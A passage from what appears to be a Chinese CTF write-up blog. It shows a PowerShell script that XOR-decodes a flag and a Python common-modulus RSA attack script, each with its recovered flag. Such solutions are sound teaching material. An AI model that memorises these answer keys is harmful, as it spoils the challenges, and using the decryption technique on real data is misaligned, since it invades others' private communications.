    0x37C, 0x7F, 0x2E9, 0x126, 0x3A9, 0x4E, 0x217, 0x123, 0x211,
    0x33F, 0x2DB, 0x359, 0x0EE, 0x169, 0x1ED, 0x53, 0x2E8, 0x2BE,
    0x194, 0x236, 0x0A8, 0x16A, 0x178, 0x37D, 0x1DF, 0x19B, 0x2B5,
    0x83, 0x13, 0x1A1, 0x20E, 0x77, 0x3A6, 0x231, 0x26A, 0x1BC, 0x357,
    0x334
)

function resolve() {
    $flag = 0..$key.Count | % {
        $lyric[$arc[$_] % $lyric.Count] -bxor $key[$_]
    }
    $flag
}

echo "$((resolve | %{ [char]$_}) -join '')"

另: ghidra导出字符串是在字符串窗口里, 在data段里可以导出bytes数组

16. RSA

直接"CTF小学生"里搜, 是第十题: ctf小学生-rsa writeup - sigenzhe - 博客园 (cnblogs.com)

解密脚本:

n= 29143645421250041964610131519796316209374397204155469976436282970270223093227270116936148775043815634542786053957754648588547916685855943233747355087950255420084529208272959726798944771529812280211595246632324164318414568921620903228792312422949049251124675105357096001511900182384982136608469004475877350443767898973989583173128030434940886052792797816540787358610263798109517476404857884853737946851599020695228874374154464554424052641473818628619315542580958678324625251508687755281620720247997239232768548283841103391498016239630806481980671475372463330330690559668182431046684389707596830868072082755735808300723
e1= 2333
e2= 23333
c1= 28464542187422191031850220803592681443982634383785165404787481127746742239081112082691277387380864221897493018787897237288845518265099977907474953791840485909853466983639444091059228300562651089136949321590723345012238904080799669440783536285513938852463305681933753888253442824802846555416205812335548719095747051066829873263830078172121545700751405449738971567108453397818830862826958070177783517124845910659072272862984614381062761492904361633028713990053614106081540076229259722671415935974092569803776537579754503894924503109547447412708945156397515728781495017776632238192662716448961774725838090086512922104959
c2= 25460740614301054941307417174277347322525553796796196288752769907863955398765515335380778529183621484339197914989256662774198864351177654624197775903029703756861955442584045861986636864875901226135976736671991519278805887617112679731304236414795141091073965816301344099945916381853638867328898132344214266933361239131644854117821204868171505133539861191262265599453830009333580296852518159984059120727521818924305349230266951553997005351779068782851592785429670130975251007122036733544487495703754895368638401347707384114165405725474647288045480904543934563092673393523874294830739729422653819421294571780102207292072

assert gmpy2.gcd (e1, e2) == 1
_, s1, s2 = gmpy2.gcdext(e1, e2) # 结果第一位为标志位
m = pow(c1, s1, n) if s1 > 0 else pow(gmpy2.invert(c1, n), -s1, n) # s1,s2可能为负
m *= pow(c2, s2, n) if s2 >0 else pow(gmpy2.invert(c2, n), -s2, n)

print(libnum.n2s(int(m % n)))  #最后相乘的结果要模N
# flag{01645dce-022e-49cb-9523-4b4d8e84a0e2}

#本文链接:https://blog.chaol.top/archives/77.html
#本文采用 CC BY-NC-SA 4.0 协议进行许可
#如无特别声明,该文章均为 ciaoℒy 原创,转载请遵循 署名-非商业性使用 4.0 国际(CC BY-NC 4.0)协议,即转载请注明文章来源。
#最后编辑时间为: 2023 年 09 月 11 日
WriteUp
none

create 添加新评论


account_circle
email
language
textsms



加我的QQ
加我的微博
加我的支付宝
加我的微信